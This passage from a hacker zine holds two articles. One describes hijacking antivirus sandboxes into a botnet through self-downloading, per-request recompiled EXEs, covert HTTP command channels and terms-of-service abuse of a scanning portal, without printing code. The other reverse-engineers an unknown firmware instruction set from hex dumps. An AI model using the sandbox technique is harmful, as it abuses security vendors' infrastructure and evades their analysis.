|=‑=[ 5 ‑ Master of Puppets ‑ turning AV sandboxes into a botnet ]=‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

by Grzegorz Tworek

As malware becomes more and more sophisticated, defenders realize that typical static analysis is slowly losing its value as the main method of knowing what happens in the infected system. At the same time virtual machines are cheaper, more reliable, easier to orchestrate and automate and just more friendly. Instead of hiring highly qualified reverse engineers, malware analysts can run thousands of machines and observe how they behave after being intentionally infected. Once again blunt force tries to replace our skills, but in some cases, it seems to make sense.

I have tried to play with such dumb devices multiple times in the past, including circular references in vbaProject.bin filesystems, fork bombs etc. It was not very sophisticated but sometimes even the timeout may give you some satisfaction, not to mention a bit of knowledge about how the stuff works inside. Of course, I have tried with EXE files, especially as I have realized that a huge number of sandboxes are easily reaching the Internet. No need to smuggle bits in NTP or DNS queries, when you simply make a HTTP request and observe it on your web server milliseconds later. Of course, my real goal is not to make an analysis itself, but to keep my code running forever. This may be achieved with a trick if your analyzed EXE downloads and runs another EXE. Which gets launched (a.k.a. detonated), downloads yet another EXE, again running and downloading, but I suppose you get the point already.

The unsurprising problem I have observed is related to obvious sandbox optimization: they get bored. If I drop a file which is already known, no one wants to waste time on it anymore, which requires a small challenge when it comes to automation of the entire process. Theoretically EXE files are relatively easy to modify in their binary form, as some sections (e.g. .rdata, .data, or .rsrc) may be carefully overwritten without affecting how the program works. Additionally, the PE file format allows appending some bytes at the end of file without changing the application behavior. Such changes can be automated, leading to a solution that serves a different file each time someone requests it. Of course, files (and file hashes) will be different each time, but it may not be enough to keep sandboxes attention. Even if the file itself differs, a sandbox can quickly realize the new EXE is doing basically the same thing as the one already known, using a sequence of functions imported from system DLLs. You can observe it e.g. with dumpbin.exe tool from Microsoft by issuing "dumpbin.exe /imports filename.exe" command. Antivirus solutions calculate the "IMPHASH" [1] using this data and can spot that different files are not that different at all and get bored, dropping any further analysis and code execution.

Theoretically, some advanced binary manipulations could be possible to make the EXE file substantially different each time, but I have decided to go simpler way and compile a new C source code each time someone wants to download an EXE file. Even if I could dynamically generate new source file each time, I have simplified my approach with a set of #ifdef, making different (randomly picked) parts of the source to be included in the build process. The compiler allowed me to set appropriate #define before I start the compilation, but when it comes to the randomization of code, it can be done with pure preprocessor directives as well [2] if anyone prefers it. Of course, randomized parts cannot change the application behavior and their execution should not matter. After analyzing different functions to be randomly imported I found SNMP and Bcrypt DLLs most convenient. Both look suspicious enough to dig deeper but when called in a right way they do nothing except returning an error I can safely ignore. For example, the BCryptSecretAgreement() checks handles first, and I intentionally call it with NULLs, knowing I will obtain STATUS_INVALID_HANDLE with no side effects. I am sure a skilled analyst can spot a red herring here, but sandboxes are fortunately not smart enough.

Of course, I can easily write, test and compile my code with Visual Studio I normally use, but it would be a huge overkill for this scenario, even if limited only to command line tools. Finally, I have decided to use Tiny C Compiler (https://bellard.org/tcc/) which seemed to perfectly fit my needs.

The server part was initially based on a well‑known, thirty years old, CGI interface to the Microsoft Internet Information Server. CGI is relatively simple to integrate and debug, but at the same time each requests requires launching new process, which in turns launches a compiler with appropriate parameters such as source files and #define mentioned above. It works, but its performance is far from satisfying. On top of the real randomization provided by #ifdef, the filename requested by the EXE running in the sandbox was randomized as well. Serving a file with changing name is possible in couple of ways: by rewriting the request at the server side (too complex), by using queries in the URL (too suspicious) or by configuring the 404 handler to return a freshly compiled EXE each time someone asks for a random URL.

Effectively, the flow was:

1. A sandbox "detonates" the EXE file

2. EXE file sends a HTTP request to the web server fitted with CGI 3. The server compiles and serves the randomized EXE back to the sandbox 4. The sandbox saves the obtained file to a disk and launches new process using it.

And 1‑4 repeats. Details of the implementation make parent process at the sandbox present until the child process terminates, which will never happen without an external intervention or a failure.

As I have explained above, the following sequence keeps the sandbox busy and in extreme cases, more than 1000 parent‑child process levels could be observed, which is even more frightening knowing the _wsystem() function used to launch a child process executes cmd.exe first, then the real process specified as a function parameter. All these cmd.exe processes remain active until the launched process terminates.

The source code and the infrastructure serving its compiled version acts effectively as a server‑to‑client part of the C2 communication. If I want controlled sandboxes to do something, I simply need to add couple of lines to my C source, and new commands will be compiled and downloaded soon. Experiments shows that it happens literally within seconds after a change in the source code.

The client‑to‑server communication is simpler, as HTTP protocol provides multiple ways of sending data to servers. Out of these methods, only 3 were used for simplicity and staying under the radar:

1. Hostname ‑ each time resolved to the same IP, but containing 8 characters I could use to get data back

2. Path ‑ the part between hostname and the filename I use to encode some of the requested information, including process chain length counter, free and total RAM amounts, and the flow identifier allowing me to trace EXEs coming to sandboxes directly or indirectly, etc.

3. Referer ‑ allowing me to precisely identify chains, but easy to be manipulated.

I am also using my own User‑Agent (providing some useful information as well), but it is manipulated too often to use it as reliable channel. Out of typical ways of HTTP communication I am not using anything other than GET and I am not using queries in the URL as mentioned above. If I have a full control over my query, picking less obvious channels seems more tempting.

Allowing my solution to run in the wild quickly made me aware of limited performance at the server side. Even if a single request can be served in less than 100ms, the number of requests quickly raises to levels I cannot afford on my 4 core D‑1521 with 32GB of RAM. To make it work better, the following optimizations were implemented:

‑ Switch from CGI to ISAPI and from tcc.exe to libtcc.dll to minimize number of processes required per request

‑ Source code header files optimization, allowing me to compile ~25kLoC instead of ~120kLoC

‑ Dynamic slowdown on the client side, activated by timeouts or other errors and repeating failed actions but slower

‑ Pre‑compiled "failback" files to be served statically from my server if compilation did not end in the defined time, which could happen when queues grow very large

‑ Reverse proxy taking care of simple requests not requiring compiler infrastructure.

Optimizations gave me a chance to provide 5x more valid responses from the same hardware, which seems to be a nice result. Just to mention one thing more: bandwidth is not an issue at all. Each EXE file is 11‑13kB depending on randomization, which keeps my WAN lazy, going mostly under 10Mbps.

If for any reason I would need more power, the entire solution easily scales by adding additional A records to the DNS, effectively providing a round robin. Of course, some reverse proxies, WAFs, or load balancers may be used as well.

Effectively, I am serving about 4‑5M of fresh EXE files each day, having "proof of life" from 20k IP addresses constantly executing my code and waiting for new commands to be issued. Some sandboxes run for longer time, some drops the execution quickly, but new executions, not being a result of a process chain are responsible for only about 10% of traffic.

I believe itâ€™s clear how I keep sandboxes busy. The common question though is how to feed them for the first time. It depends if you are in hurry or not. If not, just link your first EXE somewhere. It will be picked up sooner or later and then spread across sandboxes. If you need to see effects quickly, some violation of Terms of Service of the popular portal spreading files between different AV engines may be required. If you upload your EXE there, sandboxes will care about it within a few minutes.

When you need to stop, no worries. Even if some server address is totally dead for 6 months and you turn it back on, bots will do their job and you will see requests coming very soon.

References:

[1] https://cloud.google.com/blog/topics/threat‑intelligence/

tracking‑malware‑import‑hashing/

[2] http://www.ciphersbyritter.com/NEWS4/RANDC.HTM

The source code of ISAPI and Client can be seen at https://github.com/gtworek/PSBits/tree/master/TrollAV

A snapshot of the code is embedded at the end of this linenoise article.

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑=[ 6 ‑ Learning an ISA by force of will ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

by iximeow

cpu instruction sets are one of my special interests. Catherine 'whitequark' posted about a weird instruction set. so of course i asked for a copy of the binary. it indulged me! it's called noes, who knows why.

> ls ‑al noes

‑rw‑rw‑r‑‑ 1 iximeow iximeow 12935 May 23 18:12 noes

so, 12.6KiB of some firmware for a headset or something, and an otherwise unknown instruction set. this is catnip, to me.

and so here is where i started:

00000000: bc60 bb68 e4e3 e5ed e28f e301 2842 9903 .`.h........(B.. 00000010: 4391 05d4 c4bc 69bb bc26 bee0 04c8 41f0 C.....i..&....A. 00000020: e044 c840 f0e0 bbc8 51f0 e094 c850 f0ec .D.@....Q....P.. 00000030: e3ed bfd8 0ebc e005 bfd0 0ec8 e3ed cc19 ................ 00000040: b9e0 04c8 41f0 e064 c840 f0e0 bbc8 51f0 ....A..d.@....Q. 00000050: e077 c850 f0bc 4704 e001 d2e0 72c8 43f0 .w.P..G.....r.C. 00000060: e0bc c842 f0e0 bbc8 53f0 e0d3 c852 f0e4 ...B....S....R.. 00000070: 01bf 9075 bce9 72e8 99b7 9003 bce9 72e2 ...u..r.......r. 00000080: 1ce3 00e0 72c8 43f0 e0e7 c842 f0e0 bbc8 ....r.C....B.... 00000090: 53f0 e0b4 c852 f0bc c072 e013 c820 b5e0 S....R...r... .. 000000a0: ecc8 1fb5 bc59 40e1 08e8 48b6 7990 0a28 .....Y@...H.y..( 000000b0: c84c b6c8 4bb6 bc3c 6be8 48b6 9007 c84c .L..K..<k.H....L 000000c0: b628 c84b b6bc bd6b bce4 61e0 127a 284b .(.K...k..a..z(K 000000d0: 9904 e012 9007 1471 e841 b559 49c8 41b5 .......q.A.YI.A. 000000e0: e100 c942 b500 00bc a257 bfd0 0ec8 c2b9 ...B.....W...... 000000f0: ccc1 b9ca c3b9 e8f9 b422 9803 bc2d 33bc ........."...‑3. 00000100: da32 8612 76e8 0bb4 7e99 0476 bc75 bce9 .2..v...~..v.u.. 00000110: 0cb4 1679 9903 ee0c b4e9 0cb4 1659 4976 ...y.........YIv

i also often think about the lovely writeup[1] from Robert Xiao on a similar problem presented as a Dragon CTF teaser challenge a few years ago. working from an unknown data encoding all the way out to an instruction set and high level behavior is certainly possible, but it's not an opportunity that comes up often. it sounds fun! so i decided to chew on noes with as little context as i could have ‑ the opportunity doesn't come up too often!

making heads or tails of the binary turned out to be quite a few words, which i've roughly broken up as:

‑ which way is up?

‑ one instruction, to many instructions

‑ a virtuous cycle

‑ control flow!!

‑ loads and stores!!

‑ it does, in fact, have an ALU

‑ inc and dec are a loop's best friend

‑ more subtle loads or stores?

‑ a multiplier!

‑ what's left?

‑ whittling down the last few opcodes...

‑ 48..4f

‑ 59 ... or a wild guess towards 58..5f?

‑ 60..67 ... where possible

‑ ba

‑ 00..07

‑ mostly done, what's left in the encoding space?

‑ 78..7f ... sub or cmp?

‑ what is a0?

‑ what are c0..c7?

‑ but wait! what happened with jcc?

‑ last thoughts

‑ conclusion

‑ summarized materials

‑‑[ which way is up?

even just at the bottom of this first window it's clear there's some kind of structure to this thing. but if it's code or data, who knows. i did luck out that the terminal size i happened to open noes with showed some structure, otherwise i'd have resorted to the same age‑old trick of "resize the window until it looks right".

so there's some structure, the file is kind of tiny, the file is notionally a firmware for a processor, so presumably the processor also is kind of tiny. the bytes here are not obviously an 8080/6502/etc. probably not a tiny ARM core, because the repetition at the end of the above is offset by 1: this processor must be OK with instructions at odd addresses.

scrolling through the file for anything else interesting and this stands out:

00001358: bc60 bb68 e4e3 e5ed e28f e301 2842 9903 .`.h........(B.. 00001368: 4391 05d4 c4bc 69bb bc26 bee0 04c8 41f0 C.....i..&....A. 00001378: e044 c840 f0e0 bbc8 51f0 e094 c850 f0ec .D.@....Q....P.. 00001388: e3ed bfd8 0ebc e005 bfd0 0ec8 e3ed cc19 ................ 00001398: b9e0 04c8 41f0 e064 c840 f0e0 bbc8 51f0 ....A..d.@....Q. 000013a8: e077 c850 f0bc 4704 e001 d2e0 72c8 43f0 .w.P..G.....r.C. 000013b8: e0bc c842 f0e0 bbc8 53f0 e0d3 c852 f0e4 ...B....S....R.. 000013c8: 01bf 9075 bce9 72e8 99b7 9003 bce9 72e2 ...u..r.......r. 000013d8: 1ce3 00e0 72c8 43f0 e0e7 c842 f0e0 bbc8 ....r.C....B.... 000013e8: 53f0 e0b4 c852 f0bc c072 e013 c820 b5e0 S....R...r... .. 000013f8: ecc8 1fb5 bc59 40e1 08e8 48b6 7990 0a28 .....Y@...H.y..(

this is different, which makes it interesting! this is a long span of bytes with very few ascii bytes, unlike the rest of the file which has a more frequent mix of bytes in [0, 255]. the content starts with an increasing series, 80 81 82 83 84 85 E8 E6 B0 80 E8 E7 B0 80 ..., and towards the end has 8D 8C 8B 8A 89 88. this might be data? maybe a lookup table?

there are other regions of clear structure, like:

00002478: 6af1 ed6b f112 e96c f121 7213 e96d f121 j..k...l.!r..m.! 00002488: 7314 e96e f121 7415 e96f f121 7512 e925 s..n.!t..o.!u..% 00002498: ee21 7213 e926 ee21 7314 e927 ee21 7415 .!r..&.!s..'.!t. 000024a8: e928 ee21 75ca 68f1 cb69 f1cc 6af1 cd6b .(.!u.h..i..j..k 000024b8: f112 1b1c 1d98 07e4 a4e5 debc 98df b9e4 ................ 000024c8: 6de5 dfbc 98df bf10 6fe0 08c8 10f3 bf2f m.......o....../

but what does 21 72 13 E9 mean? or 21 73 14 E9? 21 74 15 E9? maybe four‑byte instructions with different operands?

ok. time to break out the big tools.

# iximeow> xxd ‑ps noes | head ‑n 20 bc60bb68e4e3e5ede28fe30128429903439105d4c4bc69bbbc26bee004c8 41f0e044c840f0e0bbc851f0e094c850f0ece3edbfd80ebce005bfd00ec8 e3edcc19b9e004c841f0e064c840f0e0bbc851f0e077c850f0bc4704e001 d2e072c843f0e0bcc842f0e0bbc853f0e0d3c852f0e401bf9075bce972e8 99b79003bce972e21ce300e072c843f0e0e7c842f0e0bbc853f0e0b4c852 f0bcc072e013c820b5e0ecc81fb5bc5940e108e848b679900a28c84cb6c8 4bb6bc3c6be848b69007c84cb628c84bb6bcbd6bbce461e0127a284b9904 e01290071471e841b55949c841b5e100c942b50000bca257bfd00ec8c2b9 ccc1b9cac3b9e8f9b4229803bc2d33bcda32861276e80bb47e990476bc75 bce90cb416799903ee0cb4e90cb416594976ea0cb4e300e80bb4e100594a 72114b7383821672e300fc0881e1ff518980e0ff097188bfecac8a8bbf9d acc9ddeec8dcee8eb9e701bc2d2e86e1ffe8edb4799044bf523276901de0 54c857f3e019c856f328c853f300c852f371e850f319c850f3bc01bd1674 bfb628719819e1fee850f321c850f328c8edb4e008c853f328c852f3bf87 308eb9e200e004c841f0e044c840f0e0bbc851f0e094c850f0e101121972 e072c843f0e0bcc842f0e0bbc853f0e0d3c852f0e102121972e040c845f0 e050c844f0e0bbc855f0e0f6c854f0e104121972e06ac847f0e05ec846f0 e0bcc857f0e003c856f0e108121972e061c849f0e0e1c848f0e0bcc859f0 e024c858f0e110121972e057c84bf0e089c84af0e0bcc85bf0e027c85af0 e120121972e032c84df0e0c8c84cf0e0bcc85df0e046c85cf0e140121972

more structure to this, highlighting helps..

308eb9e200e004c841f0e044c840f0e0bbc851f0e094c850f0e101121972

^^ ^^ ^^

e072c843f0e0bcc842f0e0bbc853f0e0d3c852f0e102121972e040c845f0

^^ ^^ ^^ ^^

e050c844f0e0bbc855f0e0f6c854f0e104121972e06ac847f0e05ec846f0

^^ ^^ ^^

e0bcc857f0e003c856f0e108121972e061c849f0e0e1c848f0e0bcc859f0

^^ ^^ ^^

e024c858f0e110121972e057c84bf0e089c84af0e0bcc85bf0e027c85af0

^^ ^^ ^^

e120121972e032c84df0e0c8c84cf0e0bcc85df0e046c85cf0e140121972

^^ ^^^^ ^^

if c8 marks the start of some instruction or sequence, then those sequences are something like:

c841f0e044 c840f0e0bb c851f0e094 c850f0e101 ...

... c843f0e0bc c842f0e0bb c853f0e0d3 c852f0e1 ...

and so seeing 41f0, 40f0, 51f0, 50f0, 43f0, 42f0, 53f0, 52f0, and others like it, immediately suggests something little‑endian is happening. those might be offsets for a memory access? e044, e0bb, etc could be other immediates or operand selectors. maybe c8 is an opcode itself?

this is a great start: there's some kind of structure, something that looks like a workable guess for how at least one instruction is structured, values that look like addresses ‑ or at least relative offsets. even if this is more data than code, there's enough structure here to chew on and learn more about the firmware.

‑‑[ one instruction, to many instructions

if i were stumped at this point i'd have started looking for common byte sequences, working through a list to guess what might be function prologues or epilogues, and go from there. but, being neither stumped nor interested in switching away from the next most advanced tool i have on hand ‑ `xxd ‑ps noes | vim ‑` ‑ i stuck with eyeballing common bytes.

8e stuck out:

75bffce2fe0671fe0272fe0373f219d28e8fb98786ca56ef147615771674

^^

1775bffce2ea56eff674bfe4448e8fb9878628c857eec856eee412bf14e9

^^

761177e010de03e20016741775bf5f058e8fb9e8e9ed9803bccfe2e85aee

^^

e95bee19982de855eec84befc94defe85aeec84cefe268e3eee461e5eebf

dfe3ea5aeeeb5beefa079026c85beec85aeebcc0e3e854eec84befe859ee c84defe858eec84cefe268e3eee461e5eebfdfe3e001c84befe85deec84d

^^ ^^

and in fact the longer common sequences are 8e8fb98786: 75bffce2fe0671fe0272fe0373f219d28e8fb98786ca56ef147615771674

^^^^

1775bffce2ea56eff674bfe4448e8fb9878628c857eec856eee412bf14e9

^^^^^^^^^^

761177e010de03e20016741775bf5f058e8fb9e8e9ed9803bccfe2e85aee e95bee19982de855eec84befc94defe85aeec84cefe268e3eee461e5eebf dfe3ea5aeeeb5beefa079026c85beec85aeebcc0e3e854eec84befe859ee c84defe858eec84cefe268e3eee461e5eebfdfe3e001c84befe85deec84d

this shows up across the file, but 8786 is only sometimes present. so maybe this is the epilogue of one function, and the prologue of the next? in which case the epilogue would be 8e8fb9 and the prologue is 8786. then b9 is ret? 8e8f and 8786 are pop and push respectively? lets see if that gives us reasonably‑sized functions. as some examples:

... 8e8fb9

^^^^^^ 8786cae5eecce6eee412bf14e9761177e8e6eede03e8e5eede04e20016741775bf5f058e8fb9

e200e45390d4b9e4f5e5edbf82c3e0d4c85cefe0e8c85bef28c85eefe003

[ 210 bytes ]

bf2bd78e8fb9

^^^^^^

e500e406e260e3ed14e1005272110b73f27215527504e118

[ 240 bytes ] 19e0f2c8ecee177116c0c9eeeec8edeee1fff65172e412bf4bd48e8fb9

cc86f2cd87f2e004c882f2b928c855f3e01ac854f3e1fee850f321c850f3e0 [ 420 bytes ]

75bf8cdaea0aef02ca0aefe199127991818e8fb9

^^^^

nothing huge, seems like a workable assumption.

‑‑[ a virtuous cycle

with a guess of function prologues and epilogues, i can guess at the instructions around the entry/exit of these "theorized functions".

some more looking around, c8 is pretty common and seems to be followed by two bytes that might be an address?

52e8ec76edbfdee6e876ed9805e401bc52e8b928c806eec805eec847eee8

03f3619016e003c84beee001c84aeee140e8a3f919c8a3f9bc3b60e102e8

^^

4aee799026e003c84beee8eded9805e008c803f3e008c88cf971e898f919

^^ ^^

c898f9e1bfe8a3f921c8a3f9b9e010c803f3bf9f5ce108e898f919c898f9

^^ ^^ ^^

e1bfe8a3f921c8a3f9e001c846eeb98786e101e847ee79902c28c847eee4

^^ ^^

05e5eebf82c3e0c8c852b9e071c851b9e001c854b9e0f4c853b9e201e400

^^^^ ^^

bf9513c906eec805eee102e8e6ed799003bf2dc2e2cce342e85bede95ced

^^

there are definitely other c8s here that don't make sense yet, but 06ee .. 05ee and 4bee .. 4aee look like sequential addresses, and 03f3 shows up a few times which suggests these addresses are probably absolute.

in‑between there are several e0 followed by a relatively low byte, e001 between two c8 sequences, e008, e010, an e071 once. the second byte might be an immediate, maybe an offset? the values tend towards bitmasks, for whatever reason. this also happens with e1 and an e2 in the same region:

52e8ec76edbfdee6e876ed9805e401bc52e8b928c806eec805eec847eee8 03f3619016e003c84beee001c84aeee140e8a3f919c8a3f9bc3b60e102e8 4aee799026e003c84beee8eded9805e008c803f3e008c88cf971e898f919 c898f9e1bfe8a3f921c8a3f9b9e010c803f3bf9f5ce108e898f919c898f9 e1bfe8a3f921c8a3f9e001c846eeb98786e101e847ee79902c28c847eee4 05e5eebf82c3e0c8c852b9e071c851b9e001c854b9e0f4c853b9e201e400

bf9513c906eec805eee102e8e6ed799003bf2dc2e2cce342e85bede95ced

so maybe eX is a whole range of instructions with one‑byte immediates?

with this, lets see how a hypothesized function breaks apart..

87 86

14761577f698 19e0f2

c8ecee 177116c0 c9eeee c8edee e1ff f65172 e412 bf4bd4

8e 8f b9

7X is another one‑byte instruction maybe? 1X too? calling 86 "push A" and 87 "push B", similarly with 8e 8f, that gives us:

87 86 ; push B; push A

14 76 15 77 f698 19e0f2

c8ecee 17 71 16 c0 c9eeee c8edee e1ff f651 72 e412 bf4bd4 8e 8f b9 ; pop A; pop B; ret

checking that other blocks seem to break apart reasonably as "functions", this is how vim starts to look. knowing c8XXXX is an instruction, in turn, makes other instructions more clear:

87 86

28 c809ef ; 28 looks like something 72 e461 e5ee bf29e3 ; 72 looks like something, bf? e200 e468 e5ee bf29e3 bf2ae0 bffedc ; bf?

28 76 77 e84cee e94dee e201a 6939384290fac923f5c822f5e101e826f519c826f5c981f1e850f1649806 ; dunno 28c878ed9818e803f3619807e001c809ef900bc6e1081679e107174991bc ; about bf4fdde826f56090fabf33e1e0072f9008e0082e9003bf2dc2e809ef9803 ; these bf2bd7

8e 8f b9 ; but an epilogue

lots that would be too early to guess about, but 28 seems like a functional instruction, as does 72. bf might be a relative load or store?

if this is a vaguely normal 8‑bit CPU, there ought to be conditional relative branches around somewhere too, which can help point towards instruction boundaries. most relative branches are short, either in the positive or negative direction (for loops), so that's worth keeping in mind. keeping an eye out is the best option, not really sure how to proactively find them. at the very least, it's probably not e0..e7 as the conditional branches, because the following byte is sometimes ff (branch $‑1??) or 00 (branch $???)

looking at more code with the new guess that b9 is the end of a function, this region is informative:

... snip ...

b9

; new function?

e500 e406 e260 e3ed 14 e100 52 72 ; 14, 52, also 72 instructions? 110b 73f2 7215 52 7504 e118 ; not sure if this makes sense 14 79 91e8 15

b9 ; ret

; new function?

28 c83bb5 e0fc c83cb5 28 c83db5 c83eb5 c842b5 e017 c841b5 e0ed c840b5 e061 c83fb5 bfded5 c865ed bf314d 71 9003 e006 b9

28 b9 ; something, ret

; new prologue

86 ...more...

28 b9 seems too short to be a function (why call to 28? if you want 28 just inline it), so that's noteworthy. but 9003 is 3 bytes before it. 9003 as a jz $+3? and 28 b9 is an alternate ret? that skips over e006; ret? seems workable.

so 90XX as conditional branch... here's a function where early on i guessed instructions' start and end offsets based on vibes, and gotten a few details quite wrong:

87 86

cc27efcd28ef28 c8f1b0 e002 c863ef e05a c862ef

cd65ef 14 cc64ef e201 e400 bf83e9 76 11 77 71 16 19

90 03 bf420b e8f1b0 ; 9003 is one instruction, not two 98fb

8e 8f b9

fixing that up with what i know now it looks more like...

87 86

cc27efcd28ef28 c8f1b0 e002 c863ef e05a c862ef

cd65ef 14 cc64ef

e201 e400 bf83e9 76 11 77 71 16 19

9003 bf420b ; jCC $+3

e8f1b0

98fb is this jCC $‑5?

8e 8f b9

so maybe 9X is a whole family of conditional branches? plausible...

e008 c803f3 bf52d8 28 c8e6ed c8eeed

8eb9e8eded

9001 ; hadn't noticed this 9001 at first. conditional branch over a ret? b9 28 c8eeed c8eded

e4f1 e5ed bf82c3 bffedc bf106f

adjusting that a bit:

e008 c803f3 bf52d8 28 c8e6ed c8eeed

8eb9e8eded

9001 b9

28 c8eeed c8eded

e4f1 e5ed bf82c3 bffedc bf106f

finding other interesting patterns around 9Xs, this function:

87 86 15 71 14 e304 53 9101 0176 ; 91XX as jCC?

1177 e101 fe01 79 e104 f679 9034 e102 fe01

79 9006 bf3cd5bccdc7e101fe01 ; 79 is a test or cmp or sub maybe? 79 9803 bccdc7e1f7e854f121c854f1e400bffa48e1fde856f121c856f1bf 17d5bccdc7e110f6799034e850f164986c e101 fe01

79 900f e401 bf67c5

e200 e41f bf2b31 bccdc7 e102 fe01 79 904f

e200 e423 bf2b31 e850f1 62 983d e400 983b e102 f679 90 38 e850f1 64 9832 fe01 79 9018 e108 e854f1 19 c854f1

e401 bf67c5 e852f1 60 9819 e400 9812 e101 fe01

79 900e e1f7 e854f1 21 c854f1

e401 bf67c5

8e8fb9

following offsets for the proposed jCC in the third and fourth lines yields:

79 9006 bf3cd5bccdc7 e101 fe01 ; so fe01 is something (`feXX`?) 79 9803 bccdc7 e1f7 e854f1 21 c854f1 e400 ; bcXXXX (or more?) is something bffa48e1fde856f121c856f1bf

incidentally in the literal next function that knowledge of bf breaks things up into another pattern,

86

e406 bf551b 76 980b e406 bf551b 76 9803 bf420b e406

bf8f4d 71 9003 bf420b e0ee c840b5 e0f3 c83fb5 28 c842b5 e016 c841b5 bf114d 71 9003 bf420b e812b1 e913b1 ea14b1 eb15b1

ecfcee 7c 9012 e8fdee 79900c

e8feee 7a 9006

e8ffee 7b 9803 bf420b e80db1 e90eb1 ea0fb1 eb10b1

ec05ef 7c 9012

e806ef 79 900c

e807ef 7a 9006

e808ef 7b 9803

bf420b 8eb9e400bf

this is great; 7x definitely seems like it generates some kind of branch condition, and 9xXX seems like a conditional branch based on that result.

‑‑[ control flow!!

from this point onward, i'll be marking up approximate level of nesting with indentation. for each branch over a byte of code, it will be indented an additional level. when the branch target is reached, unindent. for simple control flow this gives a general idea of how PC moves through a region.

revisiting the above with this additional structure is immediately informative!

86

e406 bf551b ; this and 76 after are the same as the one two lines down 76 980b

e406 ; doing something to r4? getting a condition out? bf551b ; does bf551b reference memory?

76 9803

bf420b

e406 bf8f4d

71 9003

bf420b

e0ee c840b5

e0f3 c83fb5 28 c842b5

e016 c841b5

bf114d 71 9003

bf420b

e812b1 e913b1 ea14b1 eb15b1 ecfcee

7c 9012

e8fdee

79 900c

e8feee

7a 9006

e8ffee

7b 9803

bf420b

e80db1 e90eb1 ea0fb1 eb10b1 ec05ef

7c 9012

e806ef

79 900c

e807ef

7a 9006

e808ef

7b 9803

bf420b

; note 8e b9 here, some kind of early ret?

; missed that at first!

8eb9 e400bf 52e8ec76edbfdee6e876ed9805e401bc52e8b928c806eec805eec847eee8 03f3619016e003c84beee001c84aeee140e8a3f919c8a3f9bc3b60e102e8 4aee799026e003c84beee8eded9805e008c803f3e008c88cf971e898f919 c898f9e1bfe8a3f921c8a3f9b9e010c803f3bf9f5ce108e898f919c898f9 e1bfe8a3f921c8a3f9e001c846ee

b9

reconsidering other lines, there's this from early on which is not obviously wrong but now clearly has an error:

79 9009 fe07 72 fe08 73 e015 d216 74 17 75 bfead9 bc3bdb 16 74 17 75 bfe605

^ ^

$+9 is an instruction is $+9, the split was wrong

so this should be

79 9009 fe07 72 fe08 73 e015 d2 16 74 17 75 bfead9 bc3bdb 16 74 17 75 bfe605

^ ^

$+9 is an instruction is $+9d

16 is an instruction on its own, and so is d2.

back to looking for interesting structures, and here's part of a larger function:

e108

e8d5ee

79 9113

e1f8 51 72 e8d6ee e100

9802 ; jump forward to 42..

50 31 42

99fb ; jump backwards to 50..

bc45eb

e9d5ee e008 59 49 71 e8d6ee bc40eb 69 38 41 99fb e100 76 11 77 e9d7ee 16 79 e9d8ee 17 49

9959

so there's a short loop, the loop's body is 50 31 42, and some condition means the loop is entered skipping 50 31.

different topic for a moment, there are lots of e8XXXX/c8XXXX. what's going on with that? something to orient with...

87 86

28

c8f4b0

bf03bd

e013 c820b5

e0ec c81fb5

bfbfe6

e0ce c8c2b4

e0af c8c1b4

e434 bf8f4d

71 9003

bc87c0

e83bb5 c807ee ; the immediates here are interesting actually e83cb5 c808ee ; incrementing by 1

e83db5 c809ee ; on the first and second instruction

e83eb5 c80aee ; 0xb53e, 0xee0a ?

bf2fd6

bfdcdb

bfc62e

e101 799803bc38c0e803f3609809e841b6e942b6

‑‑[ loads and stores!!

e8 XXXX is probably a load! then c8 XXXX is a store! might be an absolute 16b address then? does that suggest e0 is a relative load? maybe some kind of banked load.

seems like c9 is also a store, probably all c8‑cf and e8‑ef are store/load?

bf8ac0 e1fe e850f3 21 c850f3

b9 28 c8feed c8fded 72 e449 bcc2d4

e829b4 c863ef ; another 32b copy

e828b4 c862ef

e825b4 c865ef

e824b4 c864ef

e200 e400

bf83e9

c9f2ed c8f1ed e8f1ed e9f2ed ; [edf2]‑>r1; [edf1]‑>r0;

; r0‑>[edf1]; r1‑>[edf2]? this is wrong

bc8ad9

e40e

bf4204

c929b4 c828b4 ; again, storing and then loading later? e00d

ea28b4 eb29b4 ; but ea/eb would be r4, r5 maybe

elsewhere is another interesting sequence, annotating by the theory so far,

e1bf ; r1<‑[...0xbf]

e823f2 ; r0<‑[0xf223]

21 ; ???

c823f2 ; [0xf223]<‑r0

this is great: control flow, loads/stores, this is enough to start finding where registers are read and written, and start figuring out arithmetic or other operations.

‑‑[ it does, in fact, have an ALU

so 21 is maybe, op r0, r1? 21 can't encode two registers (would be 001y yzzz? not enough space to say r4, r5 here). so might be an implicit r0.

28 is a different op2 r0, r0? consider

e803f3 ; r0<‑[0xf303]

60 9009 ; also 60: generates a status from r0?

28 ; definitely an instruction

c83dee ; [0xee3d]<‑r0

e001 ; r0<‑[..0x01]

c85aed ; [0xed5a]<‑r0

bfd547

71

98fa

28 might be xor r0, r0, it's often precedes a c8 store:

87 86

28 c8f4b0 ; xor r0, r0 (?); [0xb0f4]<‑r0

bf03bd

e013 c820b5

... ...

b9 ; ret

28 ; first instruction in the block? function? c8feed c8fded ; [0xedfe]<‑r0; [0xedfd]<‑r0

72 e449 bcc2d4 ; op r0, r2; r4<‑[..0x49]; ??

e829b4 c863ef

e828b4 c862ef

e825b4 c865ef

e824b4 c864ef

78 is not present as an instruction it seems, 79 is?

bfc62e ; unknown

e101 ; r1<‑[..0x01]

79 9803 ; op r0, r1?; jCC $+3

bc38c0 ; unknown

e803f3 ; r0<‑[0xf303]

7a is a single‑byte instruction, as is 74 and b4:

29 4c 912d

ea5bed eb5ced ; r2<‑[0xed5b]; r3<‑[0xed5c]

e048 e120 ; r0<‑[..0x48]; r1<‑[..0x20]

7a e080 2b ; 28 seems like xor r0, r0, so 2b is xor r0, r3? 74 e080 29 ; 29 as xor r0, r1?

4c 9118

e850f1

64 9012

bf2bd7

28 c810f2 c885f2 c884f2

74 75 bf03d7

bfc62e e101

79 981b

e10f e8b0b4

79 9009

e8b1 b4 62 9803 61 900a

fishing around to find more about the 1X and 2X opcodes, this region is interesting:

62 9811

